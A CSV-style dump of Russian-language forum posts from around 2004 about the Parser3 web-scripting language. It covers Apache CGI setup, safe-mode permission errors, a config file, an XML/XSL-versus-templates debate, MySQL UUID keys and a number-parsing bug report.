[Tue Mar 23 21:20:01 2004] [error] [client 213.184.227.11] File does not exist: /home/clients/yahook_ftp2/domains/yahook.biz/html/favicon.ico\
[Tue Mar 23 21:20:01 2004] [error] [client 213.184.227.11] File does not exist: /home/clients/yahook_ftp2/domains/yahook.biz/html/errors/err404.html"
"27868","Копилку читал, может плохо, но полезного как-то не вынес, хотя пара догадок есть.\
\
А изобретать тут я ничего не изобретаю :)\
До меня изобрели.\
\
На изучение XML нужно время, которого, к сожалению, никогда нет.\
Так что буду мучится, может что и получится.\
\
Я конечно человек далёкий от XML, но, насколько понимаю, он всё равно не приносит разделения, ибо даже в ваших примерах тэгов полно.\
А html это тэги или самопридуманые - не суть важно, их в коде быть не должно.\
Если тут я не прав - поправьте, ибо не владею предметом на должном уровне."
"27869","На другом нашем хостинге на Linux заработал Parparser3_1_1_redhat62_static_cgi_xml.tar.gz. А где взять для него mysql драйвер???"
"27870","Назначение тегов абсолютно разное в HTML и XML\
В xml вы оформляете данные (описываете структуру данных)\
А дизайн определяется в XSL шаблоне ( [imho]самое сложное написать его этот шаблон[/imho])"
"27871","Плиз, хэлп! Кто знает - как можно исправить такую ошибку: \
'main' method not found\
\
Заранее, большое спасибо!"
"27874","Думаю необходимо пояснить предполагаемый алгоритм работы всей «системы».\
Я решил начать с простого – с генерации по шаблону меню.\
\
Первый метод лезет в БД и достаёт оттуда все данные по разделам, ссылкам и т.д.\
Второй метод сканирует файлы шаблонов и создаёт хэш с кусками html.\
Третий метод получает от первого данные и используя куски из хэша предоставленного вторым генерирует меню.\
\
Я вижу в этой системе один недостаток – нужно как-то ограничить количество пересборок хэша вторым методом, в идеале до 1 раза.\
Ну это тоже не проблема, можно скэшировать, можно зажечь флаг, запрещающий пересборку и т.п.\
\
Таким образом с тэгами работает только метод номер два, остальные оперируют только данными.\
\
Вот такие вот у меня мысли, можете закидывать мой огород камнями."
"27875","Оправдано ли с точки зрения быстродействия использование\
[code]\
^math:uuid[]\
или\
^math:uid64[]\
[/code]\
для уникальной нумерации большого количества объектов (>100.000), при условии, что храниться это будет в MySQL. Это же VARCHAR получается. Я бы автоинкремент задействовал, но к сожалению, часть данных будет переодически подливаться с других серверов и синхронизировать их работу возможным не представляется.\
С другой стороны, интенсивных выборок по этому полу не предполагается (для внутреннего использования) - примерно 1000 селектов в сутки.\
\
Или MySQL тут уже не годится и нужен какой-нибудь Oracle?"
"27876","\"Копилка регулярных выражений\" E.S. обогнала (в Яндексе по запросу \"parser3\") родной парсеровский сайт :-)"
"27878","То же самое можно проанализировать по слову \"Типограф\". Бесспорно лидерство продукта от АЛГ студии. Затем идет \"бесплатный\" пример, т.к. халява всегда привлекает, а мой, некогда прибывавший на 3-й позиции, ушел на 2 страницу.\
Но меня это нисколько не печалит. Настоящие ценители грамотной верстки проведут сравнительный анализ хотябы по типографике номеров телефонов: +7 (095) 723-45-39 и придут к выводу что мой \"монстрик\" пока выдает самый нормальный результат.\
\
Типа РЕКЛАМА! :-)"
"27879","ну у тебя вопервых к самому parser3.cgi доступа нет потому-что пишет Permission denied вот следовательно тебе скорее всего надо поставить к parser3.cgi права досутпа или +x на исполнение или 755. Калудй и во вторых у тебя он не находит твою иконку и страницу для ошибки 404 разбирайся с путями еще."
"27880","У тебя не найден метод в родительском классе"
"27881","да зачем оракл. тут лучше mssql подойдёт. ну или postgre -- дёшево и сердито."
"27882","и заниматься перечислением его достоинств тут по моему незачем.\
\
чем идеологически отличается конструкция:\
<metka1>\
данные\
</metka1>\
\
от придуманой вами:\
\
<!-- BEGIN метка1 -->\
Код\
<!-- END метка1 -->\
\
?\
да ничем, кроме того что используется уже описаный в стандарте синтаксис.\
\
вы можете вашим кодом вывести принуманую вами для данного проекта структуру меню вида:\
<menu>\
  <item path=\"/news/\">Новости</item>\
  <item path=\"/products/\" selected=\"selected\">Продукты</item>\
  ...\
</menu>\
\
в любом месте вашего xml и далее не ваша забота где оно появится на сайте и как, если вы опишите тому, кто делает xsl шаблоны что данные для menu надо брать в таком теге и они имеют такую структуру. захотите вдруг сделать wap сайт или текстовую версию? да не вопрос, данные (xml) те-же самый просто применяете к ним другой xsl шаблон. и т.д.\
\
все-таки хороший велосипед изобрести сложнее чем взять уже готовые идеи/чертежи и делать по ним. вы хоть ознакомьтесь что это такое...\
\
P.S. первые-же два регекспа имеют необходимые конструкции: \\1"
"27883","В общем я его настроил он работет вот при обращении на:\
http://linux.astana/cgi-bin/parser3/parser3.cgi\
Пишет:\
[code]\
Parser/3.1.1\
[/code]\
Как и должно быть...\
но в апаче на хосте у меня тоже все настроено\
\
[code]\
<VirtualHost linux.astana:80>\
DocumentRoot \"/home/htdocs/linux.astana/www\"\
ServerName linux.astana\
ServerAdmin root@localhost\
ScriptAlias /cgi-bin/ \"/home/htdocs/linux-astana/cgi-bin/\"\
LogLevel emerg\
TransferLog /home/htdocs/linux.astana/logs/transfer.log\
\
	#parser3 config\
	AddHandler parsed-html html\
	Action parsed-html /cgi-bin/parser3/parser3.cgi\
\
	<Files ~ \"\\.(p|cfg)$\">\
		Order allow,deny\
		Deny from all\
	</Files>\
</VirtualHost>\
[/code/"
"27884","Поскольку он намного быстрее всех остальных(sqlite не в счет) делает select, update и прч примитивные операции.\
Вот  если Вам нужны сохраненные прцедуры, настоящие внешние объединения и foreign keys, тогда нужен, как минимум, postgres."
"27885","AddHandler parsed-html html\
Перед html нужна точка"
"27886","ладно поставил точку но теперь он пишет \
[code]\
parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename '/var/www/cgi-bin/parser3/auto.p', fuid(0)!=euid(48) or fgid(1)!=egid(48)  type: parser.runtime\
[/code]"
"27887","\"Добро пожаловать в FAQ\" :)\
Поменяйте всем файлам, с которыми будет работать парсер(в том числе конфиг, драйвера и чарсеты) владельца на того ,от которого запускается апач."
"27888","[url=\"http://httpd.apache.org/docs-2.1/en/suexec.html\"]http://httpd.apache.org/docs-2.1/en/suexec.html[/url]"
"27890","...когда он готов, он стал закрытым, и никаких шансов на его публикацию нет.\
Обидно еще и то, что когда он писался об этом известно не было...  а теперь всем показывется фига..."
"27891","Если б я владел этим языком скриптования, то может быть сообщение об ошибке, что-то мне и говорило - а так нет :)\
\
Я только начинаю с ним знакомиться. Хочу попробовать его в работе, в частности для создания интерактивной навигации по сайту.\
\
Это сообщение об ошибке вылетает, когда я пытаюсь запустить пример из файла справки (урок 1, меню навигации)\
\
Может в главном конфигурационном файле что-то не так?"
"27892","...с текстовым ключом. И быстродействие таких запросов практически единственное, что меня в данный момент интересует.\
Я знаю, что MySQL быстр на числовых данных, но там нет числового типа данных для UUID (как datetime).\
Отсюда и вопрос - сможет ли MySQL относительно быстро ворочать статысячными таблицами с индексацией по текстовому полю, чтобы не ждать выполнения запроса секунд по десять."
"27893","Ну что ты пишешь и медлишь и душу томишь дал бы уже свой конфиг и пример"
"27894","вот конфиг. файл:\
\
@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/parser3.charsets]\
$sqldriversdir[$confdir]\
\
$CHARSETS[\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
\
# change your client libraries paths to those on your system\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/parser3mysql.dll	$sqldriversdir/libmySQL.dll\
odbc	$sqldriversdir/parser3odbc.dll\
pgsql	$sqldriversdir/parser3pgsql.dll	$sqldriversdir/libpq.dll\
oracle	$sqldriversdir/parser3oracle.dll	c:\\Oracle\\Ora81\\BIN\\oci.dll?PATH+=^;C:\\Oracle\\Ora81\\bin\
}]\
]\
\
# for ^file::load[name;user-name] mime-type autodetection\
$MIME-TYPES[^table::set{ext	mime-type\
zip	application/zip\
doc	application/msword\
xls	application/vnd.ms-excel\
pdf	application/pdf\
ppt	application/powerpoint\
rtf	application/rtf\
gif	image/gif\
jpg	image/jpeg\
png	image/png\
tif	image/tiff\
html	text/html\
htm	text/html\
txt	text/plain\
mts	application/metastream\
mid	audio/midi\
midi	audio/midi\
mp3	audio/mpeg\
ram	audio/x-pn-realaudio\
rpm	audio/x-pn-realaudio-plugin\
ra	audio/x-realaudio\
wav	audio/x-wav\
au	audio/basic\
mpg	video/mpeg\
avi	video/x-msvideo\
mov	video/quicktime\
swf	application/x-shockwave-flash\
}]\
\
$LIMITS[\
	$.post_max_size(10*0x400*0x400)\
]	\
\
$MAIL[\
#	$.SMTP[smtp.domain.ru]\
	$.sendmail[\\usr\\sbin\\sendmail -t -i -f postmaster]\
]\
\
\
\
##\
## Default encodings.\
## ATTENTION: if you work with windows-1251 encoding, please DO NOT \
## modify these settings.\
##\
\
@auto[]\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
\
\
##\
## SQL connect string examples.\
##\
\
#$SQL.connect-string[mysql://user:pass@host/db?charset=cp1251_koi8]\
#$SQL.connect-string[pgsql://user:pass@host/db]\
#$SQL.connect-string[oracle://user:pass@service?NLS_LANG=RUSSIAN_AMERICA.CL8MSWIN1251&NLS_DATE_FORMAT=YYYY-MM-DD HH24:MI:SS]\
#$SQL.connect-string[odbc://DSN=datasource^;UID=user^;PWD=password]\
\
\
\
\
##\
## Error handling templates.\
##\
\
@fatal_error[title;body]\
$response:status(500)\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
<html>\
<head><title>$title</title></head>\
<body>\
<H1>$title</H1>\
$body\
#for [x] MSIE friendly\
^for[i](0;512/8){<!-- -->}\
</body>\
\
\
@unhandled_exception_debug[exception;stack]\
^fatal_error[Unhandled Exception (Debug);\
\
<pre>^untaint[html]{$exception.comment}</pre>\
^if(def $exception.source){\
<b>$exception.source</b><br>\
<pre>^untaint[html]{$exception.file^($exception.lineno^)}</pre>\
}\
^if(def $exception.type){exception.type=$exception.type}\
^if($stack){\
	<hr>\
	^stack.menu{\
		<tt>$stack.name</tt> $stack.file^($stack.lineno^)<br>\
	}\
}\
\
]\
\
\
@unhandled_exception_release[exception;stack]\
^fatal_error[Unhandled Exception;\
\
<p>The server encountered an unhandled exception \
and was unable to complete your request.</p>\
<p>Please contact the server administrator, $env:SERVER_ADMIN\
and inform them of the time the error occurred, \
and anything you might have done that may have caused the error.</p>\
<p>More information about this error may be available in the Parser error log\
or in debug version of unhandled_exception.</p>\
\
]\
\
\
@unhandled_exception[exception;stack]\
^unhandled_exception_debug[$exception;$stack]"
"27895","если да, то можете особо не напрягаться по поводу скорости выполнения select по таким ключам... всего 36 символов... и 100 000 записей - это не такие-уж большие таблицы..."
"27896","собствено сам пример:\
\
1) auto.p\
\
@navigation[]\
$sections[^table::load[sections.cfg]]\
<table width=\"100%\" border=\"1\">\
   <tr>\
   ^sections.menu{\
      <td align=\"middle\">\
          <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
      </td>\
   }\
   </tr>\
</table>\
\
2) sections.cfg\
\
\
section_id\
\
 name\
 uri\
 \
1\
\
 Главная\
 /\
 \
2\
\
 Новости\
 /news/\
 \
3\
\
 Контакты\
 /contacts/\
 \
4\
\
 Цены\
 /price/\
 \
5\
\
 Ваше мнение\
 /gbook/"
"27898","ОС у тебя какая?\
\
Пример сам правельный только вот в файл обрабатываемый парсером ты вставил ^navigation[] ? \
\
Конфиг правельный у тебя правда смотря ОС какая?\
У тебя может из-за сендмаила материться потому-что у тебя хрен знает откудова он его ищет \\usr\\....\\sendmail -t -i -f postmaster вот если у тебя юниксовая ОС то слеши поменяй на / и все."
"27899","Все больше \"созреваю\" для того, чтобы использовать XML и XSLT. Подозреваю, что не я один такой умный. В связи с этим просьба:\
Уважаемые монстры! :-) Поделитесь личным опытом (можно в жанре научной биографии self made man'ов) - с чего начинали, на какие грабли наступали, к чему пришли в итоге.\
\
Не сочтите меня халявщиком, ибо не готовых решений жажду, а лишь эффективности ради - чего же нам брести впотьмах и в одиночку по одним и тем же путям?\
Очень прошу - похлопайте неофита отечески по плечу: литература (лучше электронная), заповедные места в интернете, хитс-энд-трикс...\
 \
Опять же и вам неплохо: сведем воедино некий компендиум (не побоюсь этого слова) знаний по XML/XSLT в Parser3 - меньше придется впоследствии отвечать на такие дурацкие запросы, как мой."
"27900","Небольшая просьба.\
Немогли бы Вы собрать 1.2 бету под линух тестирование вышло бы куда интенсивнее, а то под вин и бсд есть . Абидно, да ?"
"27901","...лучше сначала научитель более полезной технологии: технологии использования поиска."
"27903","[quote]в пользу xml написано много умных книг и заниматься перечислением его достоинств тут по моему незачем. [/quote]\
\
Я никоим образом не против XML, если его создали – значит на то есть веские причины, если именно в таком виде – значит именно так было необходимо.\
\
[quote]чем идеологически отличается конструкция:\
<metka1>\
данные\
</metka1>\
\
от придуманой вами:\
\
<!-- BEGIN метка1 -->\
Код\
<!-- END метка1 -->\
\
?\
да ничем, кроме того что используется уже описаный в стандарте синтаксис. [/quote]\
\
Ничем не отличается.\
Любая система логической разметки будет такой, это неизбежно.\
\
[quote]вы можете вашим кодом вывести принуманую вами для данного проекта структуру меню вида:\
<menu>\
<item path=\"/news/\">Новости</item>\
<item path=\"/products/\" selected=\"selected\">Продукты</item>\
...\
</menu>\
\
в любом месте вашего xml и далее не ваша забота где оно появится на сайте и как, если вы опишите тому, кто делает xsl шаблоны что данные для menu надо брать в таком теге и они имеют такую структуру. захотите вдруг сделать wap сайт или текстовую версию? да не вопрос, данные (xml) те-же самый просто применяете к ним другой xsl шаблон. и т.д. [/quote]\
\
И тут я с Вами полностью согласен, приплюсую туда же RSS.\
\
Однако, по-моему мы говорим немного о разных вещах.\
\
При всех достоинствах XML в коде всё равно наличествует тэговая разметка.\
\
Я хотел бы использовать немного другой алгоритм.\
\
В необходимом месте просто вызывать ^out:menu[$таблица_разделов;опциональные флаги]\
\
А метод menu класс out возьмёт переданные ему данные, примет данные из метода парсинга шаблонов и выведет следующую структуру:\
\
\
$templates.menu.начало_меню\
^$таблица_разделов.menu{\
$templates.menu.строка_меню\
}\
$templates.menu.конец_меню\
\
Или что-то вроде того.\
Как я уже говорил, т.к. это тоже разметка принципиальных отличий ни от XML, ни от html нет, однако идеология немного другая.\
\
[quote]\
все-таки хороший велосипед изобрести сложнее чем взять уже готовые идеи/чертежи и делать по ним. вы хоть ознакомьтесь что это такое... [/quote]\
\
Ознакомлюсь непременно, как только выкрою достаточно времени.\
Однако у меня есть один технический вопрос:\
Что выйдет быстрее один раз пробежать match’ем по десятку файлов в 25-100 строк, или сгенерировать html на основе разметки и шаблона для всего сайта?\
\
Если второе – я забросил свою дурацкую идею и с чувством неизбывного патриотизма перешёл на XML.\
\
[quote]P.S. первые-же два регекспа имеют необходимые конструкции: \\1[/quote]\
Да, благодарю, именно это и подозревал."
"27905","Господа. Что это? На всех файлах стоит 777.\
\
config(1): './auto.p' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename './auto.p'  type: parser.runtime\
???"
"27907","[quot]\
В необходимом месте просто вызывать ^out:menu[$таблица_разделов;опциональные флаги]\
\
А метод menu класс out возьмёт переданные ему данные, примет данные из метода парсинга шаблонов и выведет следующую структуру:\
\
\
$templates.menu.начало_меню\
^$таблица_разделов.menu{\
$templates.menu.строка_меню\
}\
$templates.menu.конец_меню\
[/quot]\
\
и в этом случае метод out:menu обязан бует выводить html теги == разметку. если вы захотите поменять горизонтальное меню на вертикальное, или раскрывать сразу несколько уровней, или насовать картинок в меню — вам придется менять КОД, а не только оформление как в случае использования XML/XSL.\
\
[quot]\
Что выйдет быстрее один раз пробежать match’ем по десятку файлов в 25-100 строк, или сгенерировать html на основе разметки и шаблона для всего сайта?\
\
Если второе – я забросил свою дурацкую идею и с чувством неизбывного патриотизма перешёл на XML.\
[/quot]\
\
понятия не имею, не проводил подобного анализа, да и сравнение это не совсем корректное. в XSL потенциально заложено [b]значительно[/b] больше возможностей чем match. к тому-же всегда есть куда ускорить xsl тренсформацию (модуль апач/iis: кеширование скомпиленных шаблонов; отдать трансформацию броузерам [прощай старые броузеры])\
\
это больше напоминает сравнение plain html и например того, что написано на парсер. plain html будет всегда быстрее, но если вам потребуется что-нить изменить, то... вы подумаете, что ну нафиг эту скорость выдачи результатов :)"
"27908","Почитайте ещё и урок два. Там всё написано."
"27909","вы придумываете очередной язык описания шаблонов.\
\
это может и полезно для самоутверждения, однако ни с кем не совместимо.\
\
XML и XSL понятны многим людям. вам не надо будет тратить время, объясняя им ваш язык. а им не надо будет тратить время на то, чтобы вникнуть в него.\
\
и у вас и у них есть чем полезным заняться и время дорого всем.\
\
то, что вы экономите на изучении — это как иметь в гараже феррари, экономить на изучении тонкой книжки «как управлять автомобилем», и ходить пешком по 100 км каждый день.\
\
ещё потом приходите сюда и спрашиваете, а если я надену кроссовки, быстрее ли дойду?"
"27910","об этом я в своё время не подумал.\
\
если форму контролируете вы, назовите их\
file1, file2, file3\
\
и принимайте\
[code]\
^for[i](1;3){…$form:file$i…}\
[/code]"
"27911","[quote]и в этом случае метод out:menu обязан бует выводить html теги == разметку. [/quote]\
\
Так точно.\
\
[quote]\
если вы захотите поменять горизонтальное меню на вертикальное, или раскрывать сразу несколько уровней, или насовать картинок в меню — вам придется менять КОД, а не только оформление как в случае использования XML/XSL. [/quote]\
\
Для того что Вы перечислили мне потребуется поменять лишь шаблон – перенести метки кусков, добавить несколько строк в html.\
\
[quote]Что выйдет быстрее один раз пробежать match’ем по десятку файлов в 25-100 строк, или сгенерировать html на основе разметки и шаблона для всего сайта?\
\
 [quote]Если второе – я забросил свою дурацкую идею и с чувством неизбывного патриотизма перешёл на XML. [/quote]\
понятия не имею, не проводил подобного анализа, да и сравнение это не совсем корректное. в XSL потенциально заложено значительно больше возможностей чем match. [/quote]\
\
Ну почему же некорректное. Я не беру в расчёт какие-то там возможности, меня интересует конкретно то, что мне необходимо для реализации. Почему я не могу сравнить один метод и второй именно в этом плане? \
\
Хотя бы теоритически?\
.transform такой же тормозной как и .match?\
\
[quote]к тому-же всегда есть куда ускорить xsl тренсформацию (модуль апач/iis: кеширование скомпиленных шаблонов; отдать трансформацию броузерам [прощай старые броузеры]) [/quote]\
Тут возражений никаких.\
Только пока это имеет очень отдалённое отношение к поставленной задаче…\
\
[quote]…ну нафиг эту скорость выдачи результатов :) [/quote]\
\
Не скажите…\
Это смотря с какой стороны посмотреть.\
\
Поразмыслив, пришёл к выводу, что моя идея имеет право на существование, однако, на её реализацию может потребоваться больше времени, чем на изучение XML, соответственно на текущий момент задача не рациональна.\
\
P.S. Миша, когда же появится наконец альтернативное отображение форума в виде тредов?\
Нет мыслей сделать?"
"27912","Господа. Что это??? Везде стоит 777.\
\
config(1): './auto.p' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename './auto.p'  type: parser.runtime\
\
???"
"27913","пока в parser нет удобной возможности создать такой guid.\
думается, по мере проникновения guid в наши с вами базы данных придумаем что-нибудь удобное и в parser.\
\
однако тесты показали, что по сравнению с varchar(36), в зависимости от количества join'ов, это давало ускорение 10-20%, [b]не[/b] 50%.\
\
индексы в базах данных — сильная вещь. никто не будет сравнивать лишние байты, если не совпадает начало. а не совпадает в подавляющем количестве случаев."
"27915","[quote] вы придумываете очередной язык описания шаблонов. [/quote]\
\
Я взял готовый из phpbb, много с ним работал, считаю его достаточно понятным.\
\
[quote] это может и полезно для самоутверждения, однако ни с кем не совместимо. [/quote]\
\
Ну я это делаю в общем-то для себя, так как мне удобно…\
\
[quote] XML и XSL понятны многим людям. вам не надо будет тратить время, объясняя им ваш язык. а им не надо будет тратить время на то, чтобы вникнуть в него. [/quote]\
\
Тут спору нет, однако были бы люди, которым надо объяснять, пока я один такой умный…\
\
[quote] и у вас и у них есть чем полезным заняться и время дорого всем. [/quote]\
\
Ваша правда.\
\
[quote] то, что вы экономите на изучении — это как иметь в гараже феррари, экономить на изучении тонкой книжки «как управлять автомобилем», и ходить пешком по 100 км каждый день. [/quote]\
Тут могу возразить, что изучение огромного громоздкого пусть и очень хорошего и навороченного инструмента зачастую просто не нужно, проще сделать «под себя»,с тем функионалом, который нужен конкретно мне.\
\
[quote] ещё потом приходите сюда и спрашиваете, а если я надену кроссовки, быстрее ли дойду? [/quote]\
Конечно быстрее, не вопрос :)"
"27916","вам parser не показался огромным и громоздким?\
XML и XSL куда проще."
"27918","http://www.parser.ru/faq/install/\
Четвертый вопрос сверху."
"27919","в принципе мой класс форума умеет отображать сообщения и так и там, но я продолжаю считать, что выбор варианта отображения сообщений форума может происходить лишь в начале его жизни.\
\
делать так, чтобы одни люди писали в форум видя его в виде дерева, а другие - в виде списка сообщений считаю нехорошей идеей, т.к. эти типы ворумов подразумевают разные механизмы общения между сообщениями. в древовидных форумах видно кому отвечают, и заголовок сообщения имеет большой вес. в списочных форумах для того, чтобы понять кому отвечают используется цитирование, и заголовки как таковые нужны лишь у корневых сообщений треда.\
\
соответственно для текущего форума считаю целесообразным добавить лишь возможность открыть весь тред для чтения/сохранения, но на это у меня сейчас времени нету.\
\
P.S. если мне не изменяет память, то я вам свою точку зрения уже излагал :)"
"27920","[quote]вам parser не показался огромным и громоздким?[/quote]\
Показался.\
Поначалу.\
Многие тонкости до сих пор не поборол, просто обхожу.\
\
Однако на сносное понимание самой идеологии у меня ушёл почти год.\
А это не мало.\
\
[quote]XML и XSL куда проще[/quote]\
Дай Бог, дай Бог."
"27921","Постом ниже это дело обсуждалось. А вообще вам сюда http://www.parser.ru/faq/\
и доку почитайте, помогает."
"27922","exception in request exception handler: Exception 0xC0000005 at 0x0044386B"
"27923","В HTML-форме присутсвуют разные типы объектов: текстовые поля, кнопкм, радио-кнопки и т.д.. На реакцию некоторой кнопки (onclick) вызывается JavaScript, в который передаются значения(Value) этих объектов. Все прекрасно, кроме передачи состояния  радио-кнопок. Как быть?!!!"
"27925","[quote] в принципе мой класс форума умеет отображать сообщения и так и там, но я продолжаю считать, что выбор варианта отображения сообщений форума может происходить лишь в начале его жизни.\
\
делать так, чтобы одни люди писали в форум видя его в виде дерева, а другие - в виде списка сообщений считаю нехорошей идеей, т.к. эти типы ворумов подразумевают разные механизмы общения между сообщениями. в древовидных форумах видно кому отвечают, и заголовок сообщения имеет большой вес. в списочных форумах для того, чтобы понять кому отвечают используется цитирование, и заголовки как таковые нужны лишь у корневых сообщений треда. [/quote]\
\
С небольшими оговорками – согласен.\
\
[quote] соответственно для текущего форума считаю целесообразным добавить лишь возможность открыть весь тред для чтения/сохранения, но на это у меня сейчас времени нету. [/quote]\
\
Всеми конечностями и просто безвольно болтающимися частями тела – за.\
Голодающие дети Поволж… э… дизайнеры Новосибирска и близлежащих областей – будут очень благодарны. :)\
\
[quote] P.S. если мне не изменяет память, то я вам свою точку зрения уже излагал :) [/quote]\
\
Так точно. :)\
\
Но тогда мы к консенсусу так и не пришли, а сейчас услышав про «возможность открыть весь тред для чтения/сохранения» у меня появилась слабая надежда."
"27926","Рассматривайте мое письмо как поисковый запрос к (я надеюсь...) интеллектуальной системе :-)\
\
Жаль, если мнение Misha сработает, как оператор die..."
"27927","Спасибо за bug report, в следующей версии и cvs будет багфикс :-)\
\
Кстати говоря, ваш монстрик генерит следующее:\
[code]<nobr>+7&nbsp;(095) 723-45-39</nobr>[/code]\
Два вопроса:\
1. Зачем внутри <nobr> &nbsp;?\
2. В каком стандарте описано поведение <nobr>?"
"27928","но практические результаты вы начали раньше, правда?\
так и с XML+XSL"
"27929","просьба мне в почту bug.zip, который я распакую в htdocs, в браузере открою http://localhost/bug.html и увижу то же самое."
"27931","Наверно перед ; забыли галочку поставить ^;\
Вообще если хотите помощи, то н адо приводить код"
"27932","ставить новый лень и некогда."
"27936","странно, я вот знал, обсуждал работу, брал примеры из копилки(что-то меняя под свой типограф)\
а то, что не открыт - полностью понимаю."
"27937","Да, раньше, правда \"вслепую\" :)\
\
Ну что ж, попробую, если не устроит буду свой велосипед паять."
"27939","Что это такое?"
"27940","Что это?"
"27941","или грамматический"
"27943","хотя есть там и преувеличения - для нормального пользования им, программисткие навыки не помешают, и он совсем не чуть-чуть сложнее HTML, точнее это совершенно другой по своим принципам язык, - императивный то есть, HTML же просто язык разметки."
"27944","Кто-нибудь реализовывал передачу в запакованном виде?\
Что посоветуете, если сгенерированный контент большой?\
\
Первое, что пришло в голову - паковать, но реализовывать паковщик не улыбается. \
\
Как бы поступили?"
"27946","Извините, я видимо совсем торможу..\
\
$mess[^table::load[messages.cfg;$.limit(20)]]\
Почему это не работает?\
\
Unhandled Exception (Debug)\
invalid option passed\
load"
"27947","Неразрывные пробелы в коротких 2х символьных конструкциях встречаются раньше чем обработка телефонов, поэтому стоит &nbsp; а убирать его после обработки - это еще дополнительная трата памяти и процессорного времени, которые не повлияют на конечный результат.\
\
Второй вопрос более сложный.\
Тег <nobr> был внедрен в Netscape давольно давно. И хотя он не входит в спецификацию, он удачно прошел интеграцию во все браузеры.\
\
Как описывает W3C, его можно заменить с помощью CSS, но, как показала практика, написано != есть на самом деле.\
Предполагалось что нужно использовать стиль white-space: pre в сочетании с тегом <span> и это должно решить проблему. Но на сегодняшний день его ни поддерживает полноценно ни один из браузеров.\
\
Поэтому пока я использую то, что работает железно. И как мне кажется из-за совместимости этот тег не уберут еще очень долго. Но всеже когда реально заработает white-space во всех браузерах с превиликим удовольствием перейду на него."
"27948","$.limit() при загрузке таблице не должен срабатывать."
"27949","Установил Parser как CGI на Win32 под Apache2. В httpd.conf прописал вне <VirtualHost>...</VirtualHost>:\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.exe\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
Появляется сообщение об ошибке:\
Unhandled Exception\
\
The server encountered an unhandled exception and was unable to complete your request.\
\
Лог Parser:\
[Thu Mar 25 08:06:46 2004] /: C:/localhost/public_html/auto.p(5:10): 'menu' undefined method [parser.runtime]\
\
Лог Apache:\
127.0.0.1 - - [25/Mar/2004:08:06:44 +0200] \"GET / HTTP/1.1\" 500 1017"
"27950","Уже сам разобрался. Забыл одну буковку добавить, а настроено всё правильно."
"27951","Готовиться к выходу мое творение тобишь GTrokovets CMS писал на Parser3 полностью сырая она слишком правда еще...\
Сайт посвященный этой системе \
- http://gtrokovets.qrz.ru/p3cms/"
"27954","Нда, а я на форуме нашел что как будто table::load работает, а file::load нет.  \
Жжжаль..."
"27955","Есть сверстанная информация в Илюстраторе,\
можно как нибуть эту сверстанную инфу перегнать в Html?\
текест стандартными шрифтами, картинки с линками,\
\
если не через илюстратор то может конвертор есть какой?\
Помогите плизззззззз!!!!!!!!"
"27956","Или в крайнем случае отпечатайте их на бумагу, сканируйте, и распознайте в Fine Reader."
"27957","Есть сайт www.elenmedia.ru скриптом на парсере все запускается\
\
Так вот под виндой в IE не показываются картинки. В мозиле и опере все оОК!\
Что это может быть?\
\
Перенес целиком сайт на bolnikh.omar.ru\
\
и если глядеть свежезапущенным IE все ок, но достаточно раз сходить на elenmedia и там отрубаются картники.\
\
Что это?\
\
Парсер 3.11 BSD Апач 1.3.28"
"27958","Не знаю что получится, такой дикой задачей ещё не озадачивался.\
Конвертер придётся поискать в Google.\
\
Это оффтопик вообще-то..."
"27959","Евгений!\
\
Вы редкостный извращенец :) (не в обиду будет сказано)\
Зачем печатать и сканировать, когда можно просто скопировать.\
\
Для ускорения процесса можно обойтись без Фотошопа. В новых (версии 10, 11 как минимум) Иллюстраторах есть возможность сохранять для Веба. Всю картинку можно разбить на слайсы и часть слайсов сохранить картинками, а часть текстом. Иллюстратор сформирует самостоятельно необходимый html. Для начала неплохо — облегчает рукопашный бой :)\
\
Удачи!"
"27960","Спасибо за ответ\
Соррриииии за необрозаванность как разбить на слайсы?\
то что сохранть для веба я нащел только он все одной картинкой делает, и текст тоже"
"27961","Нужно разлиновать как таблицу. Потом есть Slice Selection Tool им выбираешь нужный слайс и можно сказать, что его нужно сохранять как текст и всавить текст.\
\
К сожалению, просто получиться сохранить как картинку или как несколько картинок. С текстом придется помучаться.\
\
1. Думаю нужно здесь уже заканчивать. форум ведь не по Иллюстратору.\
\
2. Я Иллюстратор умею только запускать :)\
Поэтому помощи от меня мало. Какой толк, что я вам напишу, как инструмент называется, если я не смогу объяснить, зачем\
он нужен :)\
Короче читайте хелп!\
\
3. Как вариант. Попросите кого-нибудь вам сверстать. Телефон студии есть на сайте:)\
\
Читайте документацию, пробуйте. У вас все получится!"
"27962","Вообще, достаточно зайти на elenmedia.ru как Explorer перестает показывает картинки\
\
Эффект наблюдается не на всех машинах"
"27965","Файл bug.html:\
[code]\
^$form:markId: $form:markId\
^^form:markId.int(0): ^form:markId.int(0)\
[/code]\
\
Вызывается с параметром (или другими): /bug.html?markId=007\
Результат нормальный: $form:markId: 007 ^form:markId.int(0): 7\
\
Вызывается с параметром: /bug.html?markId=009\
Результат НЕнормальный: $form:markId: 009 ^form:markId.int(0): 0\
\
В конце 0, а не 9!!! Шок!!!\
\
Win32: Parser 3.1.1 + Apache module"
"27969","Нормально:\
http://www.trackers.su/test/bug.html?markId=004\
\
НЕНормально:\
http://www.trackers.su/test/bug.html?markId=009\
\
Код не изменился:\
[code]\
^$form:markId: $form:markId\
^^form:markId.int(0): ^form:markId.int(0)\
[/code]"
"27971","http://www.trackers.su/test/bug.html?markId=09\
\
а о многих нет. голова/пепел. поправлю позже, в 3.1.2 не войдёт."
"27973","http://www.trackers.su/test/bug.html?markId=0011"
"27974","использую функцию, которая и восьмеричное представление обрабатывает и шестнадцатеричное.\
\
